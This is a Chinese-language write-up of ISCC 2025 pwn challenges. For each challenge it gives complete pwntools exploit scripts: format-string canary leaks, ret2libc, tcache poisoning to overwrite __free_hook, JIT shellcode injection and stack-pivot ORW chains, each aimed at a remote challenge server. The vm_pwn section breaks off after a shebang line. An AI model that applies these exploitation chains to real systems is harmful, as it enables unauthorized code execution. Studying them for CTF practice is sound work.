2025 iscc

练武

通过两个函数地址确定libc版本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# time: 2025-05-01 09:46:21
from pwn import *
from LibcSearcher import *
import time

context.terminal = ['tmux', 'splitw', '-h']
context(log_level='debug', arch='i386', os='linux')

file_name = './pwn'
if args['G']:
p = remote('101.200.155.151',12400)
else:
p = process(file_name)
elf = ELF(file_name)
#libc = elf.libc
libc = ELF('libc6-i386_2.35-0ubuntu3.8_amd64.so')
#gdb.attach(p)

s = lambda data :p.send(data)
sa = lambda delim, data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim, data :p.sendlineafter(delim, data)
r = lambda num=4096 :p.recv(num)
rl = lambda :p.recvline()
ru = lambda delims :p.recvuntil(delims)
itr = lambda :p.interactive()
leak = lambda name, addr :log.success('{} -> {:#x}'.format(name, addr))
hs256 = lambda data :sha256(str(data).encode()).hexdigest()
l32 = lambda :u32(p.recvuntil(b"\xf7")[-4:].ljust(4,b"\x00"))
l64 = lambda :u64(p.recvuntil(b"\x7f")[-6:].ljust(8, "\x00"))
uu32 = lambda :u32(p.recv(4).ljust(4, b"\x00"))
uu64 = lambda :u64(p.recv(6).ljust(8, b"\x00"))
int16 = lambda data :int(data, 16)

payload = b'--%23$p'
ru(b"What's your name?")
sl(payload)
#--0xeb2ff800
ru(b'--')
canary = int(r(10),16)
print(hex(canary))
###
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
vuln = 0x08049210
payload = b'a'*(0x4c-0xc) + p32(canary) + b'a'*0xc + p32(puts_plt) + p32(vuln) + p32(puts_got)
ru(b"What's your password?\n")
sl(payload)
puts_addr = l32()
print(hex(puts_addr))

libc_base = puts_addr - libc.sym['puts']
system = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh\x00'))
leak('libc_base',libc_base)
###

payload = b'++%20$p--%23$p'
ru(b"What's your name?\n")
sl(payload)
###
payload = b'a'*(0x4c-0xc) + p32(canary) + b'a'*0xc + p32(system) + p32(0) + p32(bin_sh)
ru(b"What's your password?\n")
sl(payload)

itr()

key

UAF + ret2libc 栈平衡

思路:

  • 将释放的chunk再申请回来,并输入flag即可进入到漏洞处
  • 在第一个write处堆溢出一字节覆盖canary的\x00,使它能够被printf打印出来
  • 然后正常打ret2libc,调用system需要栈平衡
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# time: 2025-05-01 13:39:08
from pwn import *
import time

context.terminal = ['tmux', 'splitw', '-h']
context(log_level='debug', arch='amd64', os='linux')

file_name = './pwn'
if args['G']:
p = remote('101.200.155.151',12200)
else:
p = process(file_name)
elf = ELF(file_name)
#libc = elf.libc
libc = ELF('attachment-8.so')
#gdb.attach(p)

s = lambda data :p.send(data)
sa = lambda delim, data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim, data :p.sendlineafter(delim, data)
r = lambda num=4096 :p.recv(num)
rl = lambda :p.recvline()
ru = lambda delims :p.recvuntil(delims)
itr = lambda :p.interactive()
leak = lambda name, addr :log.success('{} -> {:#x}'.format(name, addr))
hs256 = lambda data :sha256(str(data).encode()).hexdigest()
l32 = lambda :u32(p.recvuntil(b"\xf7")[-4:].ljust(4, b"\x00"))
l64 = lambda :u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
uu32 = lambda :u32(p.recv(4).ljust(4, b"\x00"))
uu64 = lambda :u64(p.recv(6).ljust(8, b"\x00"))
int16 = lambda data :int(data, 16)

def welcome():
ru(b"size:")
sl(b'100')
ru(b'flag:')
sl(b'flag')

ret = 0x000000000040101a
main = 0x40135c
pop_rdi = 0x00000000004014c3
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

welcome()
ru(b"welcome to ISCC")
payload = b'a'*0x16 + b'bb'
sl(payload)
ru(b'bb')
p.recvline()
#canary = r(7)#b'\x97\x11\xa8\xf2<\xe6\xb6'
canary_leak = r(7)
canary = u64(b'\x00'+canary_leak)
print(hex(canary))
payload = b'a'*0x18 + p64(canary) + b'b'*8 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
sl(payload)
puts = l64()
print(hex(puts))
libc_base = puts - libc.sym['puts']
system = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh\x00'))

ru(b"welcome to ISCC")
sl(b'le0n')
payload = b'a'*0x18 + p64(canary) + b'b'*8 + p64(pop_rdi) + p64(bin_sh) + p64(ret) + p64(system)
ru(b'nice to meet you')
sl(payload)

#pause()
itr()

《魔导王的秘密》

glibc2.27

tcache_poisoning分配到free_hook,改free_hook为one_gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# time: 2025-05-04 09:57:00
from pwn import *
import time
import struct

context.terminal = ['tmux', 'splitw', '-h']
#context(log_level='debug', arch='amd64', os='linux')

file_name = './pwn'
if args['G']:
p = remote('101.200.155.151', 12700)
else:
p = process(file_name)
elf = ELF(file_name)
libc = elf.libc
# libc = ELF('libc-2.23.so')
#gdb.attach(p)
gdbscript = '''
'''

s = lambda data :p.send(data)
sa = lambda delim, data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim, data :p.sendlineafter(delim, data)
r = lambda num=4096 :p.recv(num)
rl = lambda :p.recvline()
ru = lambda delims :p.recvuntil(delims)
itr = lambda :p.interactive()
lg = lambda name, addr :log.success('{} -> {:#x}'.format(name, addr))
hs256 = lambda data :sha256(str(data).encode()).hexdigest()
l32 = lambda :u32(p.recvuntil(b"\xf7")[-4:].ljust(4, b"\x00"))
l64 = lambda :u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
uu32 = lambda :u32(p.recv(4).ljust(4, b"\x00"))
uu64 = lambda :u64(p.recv(6).ljust(8, b"\x00"))
int16 = lambda data :int(data, 16)

menu = b"Chant your choice:"

def add(idx,size):
sla(menu,b'1')
sla(b"Celestial alignment coordinate:",str(idx))
sla(b"Quantum essence required:",str(size))

def delete(idx):
sla(menu,b'2')
sla(b"Cursed sanctum to cleanse:",str(idx))

def edit(idx,size,content):
sla(menu,b'3')
sla(b"Sanctum for arcane inscription:",str(idx))
sla(b"Runic sequence length:",str(size))
sla(b"Inscribe your primordial truth:",content)

def show(idx):
sla(menu,b'4')
sla(b"Sanctum to reveal cosmic truth:",str(idx))

add(0,0x410)
add(1,0x10)
add(2,0x10)
add(3,0x10)
##leak libc
delete(0)
show(0)
p.recvline()
libc_base = l64() - 0x3ebca0
lg('libc_base',libc_base)
##leak heap
delete(1)
delete(2)
show(2)
print(p.recvline())
heap = p.recv(6)
heap_addr = u64(heap.ljust(8, b'\x00'))
lg('heap_addr',heap_addr)
top_chunk = heap_addr + 0x50
lg('top_chunk',top_chunk)
##
one = [0x4f29e,0x4f2a5,0x4f302,0x10a2fc]
og = libc_base + one[2]
free_hook = libc_base + libc.sym['__free_hook']
lg('free_hook',free_hook)
lg('og',og)
## tcache_poisoning
edit(2,0x10,p64(free_hook))
add(4,0x10)
add(5,0x10)
edit(5,0x10,p64(og))

delete(4)

itr()

genius

function3()中栈溢出

思路:

  • 绕过没用的东西
  • 进入function3(),read()中读入覆盖canary的低字节,printf()泄露出来
  • gets()溢出,rop
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# time: 2025-05-10 09:23:13
from pwn import *
import time
import struct

context.terminal = ['tmux', 'splitw', '-h']
context(log_level='debug', arch='amd64', os='linux')

file_name = './pwn'
if args['G']:
p = remote('101.200.155.151', 12000)
else:
p = process(file_name)
elf = ELF(file_name)
libc = elf.libc
# libc = ELF('libc-2.23.so')
# gdb.attach(p,gdbscript = '''
# b *0x000000000040120F
# ''')

s = lambda data :p.send(data)
sa = lambda delim, data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim, data :p.sendlineafter(delim, data)
r = lambda num=4096 :p.recv(num)
rl = lambda :p.recvline()
ru = lambda delims :p.recvuntil(delims)
itr = lambda :p.interactive()
leak = lambda name, addr :log.success('{} -> {:#x}'.format(name, addr))
hs256 = lambda data :sha256(str(data).encode()).hexdigest()
l32 = lambda :u32(p.recvuntil(b"\xf7")[-4:].ljust(4, b"\x00"))
l64 = lambda :u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
uu32 = lambda :u32(p.recv(4).ljust(4, b"\x00"))
uu64 = lambda data :u64(data.ljust(8, b"\x00"))
int16 = lambda data :int(data, 16)

sla(b",yes or no?",b"no")
sla(b"don't be so modest.",b"thanks")

ru(b"what you want in init")
payload = b"a"*0x16 + b"bb"
sl(payload)
ru(b"bb\n")
canary = uu64(r(7)) << 8
leak("canary",canary)

system = 0x401050
bin_sh = 0x402004
pop_rdi = 0x00000000004013f3
ret = 0x000000000040101a

payload = b"a"*0x18 + p64(canary) + p64(0) +p64(pop_rdi) + p64(bin_sh) + p64(ret) + p64(system)
sla(b"thank you",payload)

pause()
itr()

program

glibc2.31

uaf,堆溢出,增删改查都有

思路:

  • 先free一个chunk进入unsortedbin,泄露canary
  • tcache_poisoning申请到free_hook
  • 改free_hook为system,free一个chunk即可get shell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# time: 2025-05-10 09:50:26
from pwn import *
import time
import struct

context.terminal = ['tmux', 'splitw', '-h']
context(log_level='debug', arch='amd64', os='linux')

file_name = './pwn'
if args['G']:
p = remote('101.200.155.151',12300)
else:
p = process(file_name)
elf = ELF(file_name)
libc = elf.libc
# libc = ELF('libc-2.23.so')
# gdb.attach(p)
# gdbscript = '''
# '''

s = lambda data :p.send(data)
sa = lambda delim, data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim, data :p.sendlineafter(delim, data)
r = lambda num=4096 :p.recv(num)
rl = lambda :p.recvline()
ru = lambda delims :p.recvuntil(delims)
itr = lambda :p.interactive()
leak = lambda name, addr :log.success('{} -> {:#x}'.format(name, addr))
hs256 = lambda data :sha256(str(data).encode()).hexdigest()
l32 = lambda :u32(p.recvuntil(b"\xf7")[-4:].ljust(4, b"\x00"))
l64 = lambda :u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
uu32 = lambda :u32(p.recv(4).ljust(4, b"\x00"))
uu64 = lambda :u64(p.recv(6).ljust(8, b"\x00"))
int16 = lambda data :int(data, 16)

menu = b"choice:"
def add(idx,size):
sla(menu,b"1")
sla(b"index:",str(idx))
sla(b"size:",str(size))

def delete(idx):
sla(menu,b"2")
sla(b"index:",str(idx))

def edit(idx,length,data):
sla(menu,b"3")
sla(b"index:",str(idx))
sla(b"length:",str(length))
sla(b"content:",data)

def show(idx):
sla(menu,b"4")
sla(b"index:",str(idx))

add(0,0x410)
add(1,0x20)
add(2,0x20)
add(3,0x20)
edit(3,0x20,b'/bin/sh\x00')

delete(0)
show(0)
print(p.recvline())
libc_base = l64() - 0x1ecbe0
leak('libc',libc_base)

one = [0xe3afe,0xe3b01,0xe3b04]
og = libc_base + one[1]
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']

delete(1)
delete(2)
edit(2,0x30,p64(free_hook))
add(4,0x20)
add(5,0x20)
edit(5,0x20,p64(system))

delete(3)

# pause()
itr()

Fufu

保护全开

1
2
3
4
5
6
7
8
9
10
11
# ctf @ 51e4c2a03f9c in ~/pwn [0:52:46]
$ checksec pwn
[*] '/home/ctf/pwn/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

# ctf @ 51e4c2a03f9c in ~/pwn [0:52:51]
$

分析程序:

这道题给出了一个菜单,有两个函数,分析如下:

submit_evidence()

ida中反编译的伪代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
unsigned __int64 submit_evidence()
{
unsigned int nbytes; // [rsp+Ch] [rbp-54h] BYREF
char nbytes_4[72]; // [rsp+10h] [rbp-50h] BYREF
unsigned __int64 v3; // [rsp+58h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("Furina: Time is limited! >> ");
__isoc99_scanf("%u", &nbytes);
if ( 10 * nbytes <= 0x40 )
{
printf("Furina: Present your evidence! >> ");
read(0, nbytes_4, nbytes);
printf(nbytes_4);
printf("hcy want to eat chicken! >> ");
read(0, nbytes_4, nbytes);
}
else
{
puts("Furina: Mortal evidence should be concise!");
}
return v3 - __readfsqword(0x28u);
}

有三次输入:

  • 第一次输入的时候,程序进行了判断 10*input <= 0x40 ,所以必须小于7
  • 第二次输入,可以明显的发现是格式化字符串漏洞
  • 第三次输入目前看来用处不大

trial_adjourned()

伪代码如下:

1
2
3
4
5
6
7
8
9
10
unsigned __int64 trial_adjourned()
{
char buf[72]; // [rsp+0h] [rbp-50h] BYREF
unsigned __int64 v2; // [rsp+48h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("Furina: The trial is adjourned");
read(0, buf, 0x80uLL);
return v2 - __readfsqword(0x28u);
}

很明显的栈溢出

思路

先找一个gadgets,如下:

1
2
3
4
5
6
7
8
9
10
11
fufu/ $ ROPgadget --binary ./pwn --only "pop|ret"                                                       
Gadgets information
============================================================
0x0000000000001332 : pop r15 ; ret
0x0000000000001183 : pop rbp ; ret
0x000000000000132f : pop rdi ; ret <=== 选择这个
0x0000000000001331 : pop rsi ; pop r15 ; ret
0x000000000000101a : ret <=== 和这个
0x0000000000001219 : ret 0x8d48

Unique gadgets found: 6

明确了有格式化字符串漏洞和栈溢出,并且前者可重复利用,fmt+ret2libc

思路:

  • 通过两次格式化字符串,来泄露canary和程序基址(此处泄露的main)
  • 通过2中的栈溢出泄露地址,并在该网站上查到system,bin_sh偏移
  • 再让程序返回到输入这里,再次利用栈溢出来get_shell
  • 注意:这道题glibc是2.34版本的,存在栈平衡检查,在调用system时要多加一个ret

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# time: 2025-05-13 10:16:52
from pwn import *
import time
import struct

context.terminal = ['tmux', 'splitw', '-h']
context(log_level='debug', arch='amd64', os='linux')

file_name = './pwn'
if args['G']:
p = remote('101.200.155.151', 12600)
else:
p = process(file_name)
elf = ELF(file_name)
libc = elf.libc
#libc = ELF('libc-2.23.so')
#gdb.attach(p)
gdbscript = '''
'''

s = lambda data :p.send(data)
sa = lambda delim, data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim, data :p.sendlineafter(delim, data)
r = lambda num=4096 :p.recv(num)
rl = lambda :p.recvline()
ru = lambda delims :p.recvuntil(delims)
itr = lambda :p.interactive()
leak = lambda name, addr :log.success('{} -> {:#x}'.format(name, addr))
hs256 = lambda data :sha256(str(data).encode()).hexdigest()
l32 = lambda :u32(p.recvuntil(b"\xf7")[-4:].ljust(4, b"\x00"))
l64 = lambda :u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
uu32 = lambda :u32(p.recv(4).ljust(4, b"\x00"))
uu64 = lambda :u64(p.recv(6).ljust(8, b"\x00"))
int16 = lambda data :int(data, 16)

menu = b"? >> "

sla(menu, b'1')
sla(b"limited! >>",b'6')
data = b"+%17$p"
sla(b"evidence! >> ",data)
ru(b"+")
canary = int16(r(18))
leak("canary",canary)
# sla(b"chicken! >> ",b"d")
sla(menu, b'1')
sla(b"limited! >>",b'6')
data = b"+%19$p"
sla(b"evidence! >> ",data)
ru(b"+")
main_addr = int16(r(14)) - 0x9e
leak("main_addr",main_addr)
base = main_addr - elf.sym["main"]
leak("base",base)
sla(menu,b'2')

pop_rdi = 0x000000000000132f
pop_rsi_r15 = 0x0000000000001331
ret = 0x000000000000101a

payload = b"a"*0x48 + p64(canary) + b"a"*8
payload += p64(base + pop_rdi) + p64(base + elf.got['read']) + p64(base +elf.plt['puts'])
payload += p64(base + elf.sym["trial_adjourned"])

#payload = flat([b"a"*0x48,canary,b"a"*8,pop_rdi,elf.got['puts'],elf.plt['puts'],elf.sym["trial_adjourned"]])
sla(b"is adjourned",payload)
print(p.recvline())
read = l64()
leak("read",read)

libc_base = read - 0x1147d0
system = libc_base + 0x50d70
bin_sh = libc_base + 0x1d8678

payload = b"a"*0x48 + p64(canary) + b"a"*8
payload += p64(base + pop_rdi) + p64(bin_sh) + p64(base+ret) +p64(system)
sla(b"is adjourned",payload)


itr()

mutsumi

还是vmpwn

通过mutsumi_jit函数解析用户输入的指令生成机器码并通过run_vm执行

vm结构体,如下:

1
2
3
4
5
struct struc_VM{
void* target;
int type;
int value;
}

vm结构体由 指针、指令类型、指令 组成,后续在mutsumi_jit()进行处理

在main()函数中首先分配了两个chunk,一个赋给了VM

image-20250515165114832

这里分配了0x1000+0x10大小的空间给VM,通过下图观察VM的结构体

image-20250515165552825

主程序中,程序接受的每次输入有三种形式:

  • saki,ido,to name
  • saki,ido nptr
  • saki,stop

image-20250515165731915

由于atoi(nptr),我们不能自由的生成指令 程序使用__isoc99_scanf(“%s”, s);读入,没有对长度进行检查

观察上图,我们可以通过溢出修改vm结构体 来控制要生成的指令 构造payload = b’saki,stop’.ljust(0x20,b’\x00’) + ( p64(target) + p64(type) + p64(value) ) *n

在mutsumi_jit中对vm结构体进行处理,先将指针的值和saki进行比较,再根据type进行跳转,当type==0 时,会调用imm2asm将value转换为机器码存入0x114000

image-20250515170659475

思路:

  • 通过溢出,修改指令
  • 让程序执行mprotect(),再read()读入到mprotect()的区域
  • read()读入shellcode来get_shell

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# time: 2025-05-14 21:54:30
from pwn import *
import time
import struct

context.terminal = ['tmux', 'splitw', '-h']
context(log_level='debug', arch='amd64', os='linux')

file_name = './pwn'
if args['G']:
p = remote('101.200.155.151', 12800)
else:
p = process(file_name)
elf = ELF(file_name)
libc = elf.libc
# libc = ELF('libc-2.23.so')
#gdb.attach(p)
gdbscript = '''
'''

s = lambda data :p.send(data)
sa = lambda delim, data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim, data :p.sendlineafter(delim, data)
r = lambda num=4096 :p.recv(num)
rl = lambda :p.recvline()
ru = lambda delims :p.recvuntil(delims)
itr = lambda :p.interactive()
leak = lambda name, addr :log.success('{} -> {:#x}'.format(name, addr))
hs256 = lambda data :sha256(str(data).encode()).hexdigest()
l32 = lambda :u32(p.recvuntil(b"\xf7")[-4:].ljust(4, b"\x00"))
l64 = lambda :u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
uu32 = lambda :u32(p.recv(4).ljust(4, b"\x00"))
uu64 = lambda :u64(p.recv(6).ljust(8, b"\x00"))
int16 = lambda data :int(data, 16)
p.recvuntil(b'come to help herher')

for i in range(20):
sl(b'saki,ido')
sl(str(0x100).encode())

#pause()
payload = b'saki,stop'.ljust(0x20, b'\x00')
payload += p64(0xdeadbeefdeadbeef) + p64(0x1011)
payload += p64(0x114900) + p32(0) + p32(0x1)
payload += p64(0x114900) + p32(0) + p32(0xb0e78948)
payload += p64(0x114900) + p32(0) + p32(0xf780f934)
payload += p64(0x114900) + p32(0) + b'\xc1\xe0\x08\xb3'
payload += p64(0x114900) + p32(0) + b'\x31\xc6\x80\xf7'
payload += p64(0x114900) + p32(0) + b'\x6a\x07\x5a\xb3'
payload += p64(0x114900) + p32(0) + b'\x31\xc0\x52\xb3'
payload += p64(0x114900) + p32(0) + b'\x58\x04\x03\xb3'
payload += p64(0x114900) + p32(0) + b'\x0f\x05\x80\xf7'
payload += p64(0x114900) + p32(0) + b'\x87\xf7\x80\xf7'
payload += p64(0x114900) + p32(0) + b'\x87\xd7\x80\xf7'
payload += p64(0x114900) + p32(0) + b'\x5f\x0f\x05\xb3'
payload += p64(0x114900) + p32(0) + b'\xff\xe4\x00\x00'
payload += p64(0x114900) + p32(0) + p32(0x000001b8)

sl(payload)

sleep(1)

payload = b'\x90' * 0x10 + asm(shellcraft.sh())
s(payload)

itr()

Dilemma

栈迁移+fmt+orw

在自定义的init()函数中开启了沙箱

image-20250517141351937

可以看到禁用了sys_number和execve,那就只能用orw来读flag

在看menu()函数,看到这个dummy()中什么都没有那就是设计的gadgets了

image-20250517141407851

查看func_1()

image-20250517141458439

这里有两次输入,而且第二个只能用一次,有溢出

在func_0中明显存在溢出

image-20250517141515421

在iscc中flag文件名为flag或flag.txt

查找gadgets

image-20250517141323897

缺少了rdx的gadgets,在libc文件中找通过泄露可以libc为libc6_2.35-0ubuntu3.8_amd64.so

image-20250517141303474

思路:

  • 在func_1()中泄露canary和libc
  • 进入func_0()中栈迁移到bss段,将flag.txt写入
  • 在rop回到func_0()中栈溢出写入orw

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# time: 2025-05-16 08:10:06
from pwn import *
import time
import struct

context.terminal = ['tmux', 'splitw', '-h']
context(log_level='debug', arch='amd64', os='linux')

file_name = './pwn'
if args['G']:
p = remote('101.200.155.151',12500)
else:
p = process(file_name)
elf = ELF(file_name)
#libc = elf.libc
libc = ELF('libc6_2.35-0ubuntu3.8_amd64.so')
# gdb.attach(p,gdbscript = '''

# ''')

s = lambda data :p.send(data)
sa = lambda delim, data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim, data :p.sendlineafter(delim, data)
r = lambda num=4096 :p.recv(num)
rl = lambda :p.recvline()
ru = lambda delims :p.recvuntil(delims)
itr = lambda :p.interactive()
leak = lambda name, addr :log.success('{} -> {:#x}'.format(name, addr))
hs256 = lambda data :sha256(str(data).encode()).hexdigest()
l32 = lambda :u32(p.recvuntil(b"\xf7")[-4:].ljust(4, b"\x00"))
l64 = lambda :u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
uu32 = lambda :u32(p.recv(4).ljust(4, b"\x00"))
uu64 = lambda :u64(p.recv(6).ljust(8, b"\x00"))
int16 = lambda data :int(data, 16)

pop_rdi = 0x000000000040119a
ret = 0x000000000040101a
bss = 0x404000 + 0x900
pop_rsi_r15 = 0x000000000040119c
sla(b"where are you go?",b"1")
fmt = b'%39$p%11$p'
#gdb.attach(p)
sla(b"Enter you password:",fmt)
ru("0x")
libc_start = int16(r(12)) - 128
libc_base = libc_start- libc.sym['__libc_start_main']
ru("0x")
again = 0x4012BA
canary = int16(r(16))
sla(b"your password:",b"111")
sla(b"where are you go?",b"2")
payload = b'a'*0x28 + p64(canary) + p64(bss+0x30) + p64(0x4011C9)
sla(b"to talk about",payload)
p.recvuntil("a"*0x28)

pop_rdx_r12 = 0x000000000011f2e7 + libc_base
open = libc_base + libc.sym['open']
read = libc_base + libc.sym['read']
write = libc_base + libc.sym['write']
orw = b'./flag.txt'
orw = orw.ljust(0x28,b'\x00') + p64(canary) + p64(0) + p64(pop_rdi) + p64(bss) +p64(pop_rsi_r15) + p64(0) + p64(0) + p64(open)
orw += p64(pop_rdi) + p64(3) + p64(pop_rsi_r15) + p64(bss+0x200) + p64(0) +p64(pop_rdx_r12) + p64(0x50) + p64(0) + p64(read)
orw += p64(pop_rdi) + p64(1) + p64(pop_rsi_r15) + p64(bss+0x200) + p64(0) +p64(pop_rdx_r12) + p64(0x50) + p64(0) + p64(write)
print(hex(len(orw)))
#gdb.attach(p)
sl(orw)
itr()

擂台

call

ret2libc,泄露的write地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# time: 2025-05-01 15:06:07
from pwn import *
import time

context.terminal = ['tmux', 'splitw', '-h']
context(log_level='debug', arch='amd64', os='linux')

file_name = './pwn'
if args['G']:
p = remote('101.200.155.151',12100)
else:
p = process(file_name)
elf = ELF(file_name)
#libc = elf.libc
libc = ELF('libc6_2.31-0ubuntu9.17_amd64.so')
#gdb.attach(p)

s = lambda data :p.send(data)
sa = lambda delim, data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim, data :p.sendlineafter(delim, data)
r = lambda num=4096 :p.recv(num)
rl = lambda :p.recvline()
ru = lambda delims :p.recvuntil(delims)
itr = lambda :p.interactive()
leak = lambda name, addr :log.success('{} -> {:#x}'.format(name, addr))
hs256 = lambda data :sha256(str(data).encode()).hexdigest()
l32 = lambda :u32(p.recvuntil(b"\xf7")[-4:].ljust(4, "\x00"))
l64 = lambda :u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
uu32 = lambda :u32(p.recv(4).ljust(4, b"\x00"))
uu64 = lambda :u64(p.recv(6).ljust(8, b"\x00"))
int16 = lambda data :int(data, 16)

main = elf.sym['main']
write_got = elf.got['write']
padding = 0x60+8
write_plt = elf.plt['write']
ret = 0x000000000040101a
pop_rdi_ret = 0x0000000000401273
pop_rsi_r15_ret = 0x0000000000401271
payload1 = b'A'*padding + p64(pop_rdi_ret) +p64(1)
payload1 += p64(pop_rsi_r15_ret) + p64(write_got) + p64(0)
payload1 += p64(write_plt) + p64(main)
sl(payload1)
write = l64()
print(hex(write))

libc_base = write - libc.sym['write']
system = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh\x00'))
payload2 = b'a'*padding + p64(pop_rdi_ret) +p64(bin_sh) + p64(system)
sl(payload2)

pause()
itr()

vm_pwn

逆向记录:

  • 0x4090 memory
  • 0x4098 read(0, opcode, 0x1000uLL);的返回值—->ax

read() 函数的返回值含义如下:

  • 返回值为正整数:表示实际读取到的字节数。

  • 返回值为0:表示已到达文件末尾(EOF),没有更多数据可读。

  • 返回值为-1:表示读取失败,发生了错误(此时可以通过 errno 查看具体错误原因)。

  • 0x4060 array

指令集逆向解析

1. 基础指令

Opcode 指令名称 参数 功能描述 对应代码位置
0x00 LOAD_CONST 目标寄存器地址 从内存加载常量到目标寄存器(sub_132C读取8字节) case 0u
0x01 LOAD_MEM 源地址, 目标地址 从内存地址加载值到寄存器(*reg[v12]解引用操作) case 1u
0x02 STORE_MEM 目标地址, 源值 将寄存器值存储到内存地址(*reg[fetch] = reg[v11] case 2u
0x03 MOV 目标寄存器, 源值 寄存器间数据传输(直接复制值) case 3u
0x09 NOP 空操作 case 9u

2. 控制流指令

Opcode 指令名称 参数 功能描述 对应代码位置
0x04 CALL 调用子函数(sub_1393压栈返回地址) case 4u
0x07 JMP 目标地址 直接跳转到目标地址(修改PC指针) case 7u
0x08 EXIT 退出虚拟机(返回主函数) case 8u

3. 运算指令

Opcode 指令名称 参数 功能描述 对应代码位置
0x0A ADD 目标寄存器 对目标寄存器做加法(reg[v9] += sub_132C(reg) case 0xAu
0x0B SUB 目标寄存器 对目标寄存器做减法(reg[v8] -= sub_132C(reg) case 0xBu

4. 高级操作

Opcode 指令名称 参数 功能描述 对应代码位置
0x05 PUSH 将值压入栈(通过sub_1432实现栈增长) case 5u
0x06 CALL_FUNCTION 函数指针 调用外部函数(v14(*reg)执行函数指针) case 6u

在\x01和\x02存在数组溢出,got表不可写,先获得data段0x4008的地址此处指向是base+0x4008,可以间接计算got

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
#!/usr/bin/env python3
